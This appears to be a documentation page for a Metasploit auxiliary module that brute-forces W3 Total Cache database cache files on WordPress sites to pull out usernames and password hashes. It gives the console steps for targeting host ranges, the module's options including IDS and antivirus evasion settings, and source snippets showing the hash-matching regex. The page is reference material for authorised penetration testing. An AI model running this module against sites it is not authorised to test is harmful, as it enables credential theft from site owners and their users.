WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract - Metasploit


This page contains detailed information about how to use the auxiliary/gather/wp_w3_total_cache_hash_extract metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract
Module: auxiliary/gather/wp_w3_total_cache_hash_extract
Source code: modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
Disclosure date: -
Last modification time: 2018-09-15 18:54:45 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and its results in files for fast access. Version 0.9.2.4 has been fixed afterwards so it can be vulnerable. These cache files are in the webroot of the Wordpress installation and can be downloaded if the name is guessed. This module tries to locate them with brute force in order to find usernames and password hashes in these files. W3 Total Cache must be configured with Database Cache enabled and Database Cache Method set to Disk to be vulnerable

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/gather/wp_w3_total_cache_hash_extract
msf auxiliary(wp_w3_total_cache_hash_extract) > show options
    ... show and set options ...
msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS ip-range
msf auxiliary(wp_w3_total_cache_hash_extract) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the gather/wp_w3_total_cache_hash_extract auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/wp_w3_total_cache_hash_extract

msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show info

       Name: WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract
     Module: auxiliary/gather/wp_w3_total_cache_hash_extract
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Christian Mehlmauer <[email protected]>
  Jason A. Donenfeld <[email protected]>

Check supported:
  No

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT            80               yes       The target port (TCP)
  SITE_ITERATIONS  25               yes       Number of sites to iterate
  SSL              false            no        Negotiate SSL/TLS for outgoing connections
  TABLE_PREFIX     wp_              yes       Wordpress table prefix
  TARGETURI        /                yes       The base path to the wordpress application
  THREADS          1                yes       The number of concurrent threads (max one per host)
  USER_ITERATIONS  25               yes       Number of users to iterate
  VHOST                             no        HTTP server virtual host

Description:
  The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database 
  statements and its results in files for fast access. Version 0.9.2.4 
  has been fixed afterwards so it can be vulnerable. These cache files 
  are in the webroot of the Wordpress installation and can be 
  downloaded if the name is guessed. This module tries to locate them 
  with brute force in order to find usernames and password hashes in 
  these files. W3 Total Cache must be configured with Database Cache 
  enabled and Database Cache Method set to Disk to be vulnerable

References:
  OSVDB (88744)
  https://seclists.org/fulldisclosure/2012/Dec/242
  https://wpscan.com/vulnerability/6621

Module Options


This is a complete list of options available in the gather/wp_w3_total_cache_hash_extract auxiliary module:

msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show options

Module options (auxiliary/gather/wp_w3_total_cache_hash_extract):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            80               yes       The target port (TCP)
   SITE_ITERATIONS  25               yes       Number of sites to iterate
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   TABLE_PREFIX     wp_              yes       Wordpress table prefix
   TARGETURI        /                yes       The base path to the wordpress application
   THREADS          1                yes       The number of concurrent threads (max one per host)
   USER_ITERATIONS  25               yes       Number of users to iterate
   VHOST                             no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/wp_w3_total_cache_hash_extract auxiliary module:

msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show advanced

Module advanced options (auxiliary/gather/wp_w3_total_cache_hash_extract):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions


This is a list of all auxiliary actions that the gather/wp_w3_total_cache_hash_extract module can do:

msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/wp_w3_total_cache_hash_extract auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to connect to <USER_URL>


Here is a relevant code snippet related to the "Unable to connect to <USER_URL>" error message:

64:	          'author' => user_id.to_s
65:	        }
66:	      )
67:	
68:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
69:	      vprint_error("Unable to connect to #{user_url}")
70:	    rescue ::Timeout::Error, ::Errno::EPIPE
71:	      vprint_error("Unable to connect to #{user_url}")
72:	    end
73:	
74:	    nil

Unable to connect to <USER_URL>


Here is a relevant code snippet related to the "Unable to connect to <USER_URL>" error message:

66:	      )
67:	
68:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
69:	      vprint_error("Unable to connect to #{user_url}")
70:	    rescue ::Timeout::Error, ::Errno::EPIPE
71:	      vprint_error("Unable to connect to #{user_url}")
72:	    end
73:	
74:	    nil
75:	  end
76:	

Unable to connect to <URL>


Here is a relevant code snippet related to the "Unable to connect to <URL>" error message:

125:	
126:	        result = nil
127:	        begin
128:	          result = send_request_cgi('uri' => url, 'method' => 'GET')
129:	        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
130:	          print_error("Unable to connect to #{url}")
131:	          break
132:	        rescue ::Timeout::Error, ::Errno::EPIPE
133:	          print_error("Unable to connect to #{url}")
134:	          break
135:	        end

Unable to connect to <URL>


Here is a relevant code snippet related to the "Unable to connect to <URL>" error message:

128:	          result = send_request_cgi('uri' => url, 'method' => 'GET')
129:	        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
130:	          print_error("Unable to connect to #{url}")
131:	          break
132:	        rescue ::Timeout::Error, ::Errno::EPIPE
133:	          print_error("Unable to connect to #{url}")
134:	          break
135:	        end
136:	
137:	        if result.nil? || result.body.nil?
138:	          print_error('No response received')

No response received


Here is a relevant code snippet related to the "No response received" error message:

133:	          print_error("Unable to connect to #{url}")
134:	          break
135:	        end
136:	
137:	        if result.nil? || result.body.nil?
138:	          print_error('No response received')
139:	          break
140:	        end
141:	
142:	        match = result.body.scan(/.*"user_login";s:[0-9]+:"([^"]*)";s:[0-9]+:"user_pass";s:[0-9]+:"([^"]*)".*/)[0]
143:	        unless match.nil?

No users found :(


Here is a relevant code snippet related to the "No users found :(" error message:

150:	            user: match[0],
151:	            password: match[1],
152:	            proof: result.body
153:	          )
154:	          users_found = true
155:	        end
156:	      end
157:	    end
158:	    print_error('No users found :(') unless users_found
159:	  end
160:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Christian Mehlmauer
  • Jason A. Donenfeld <Jason[at]zx2c4.com>

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.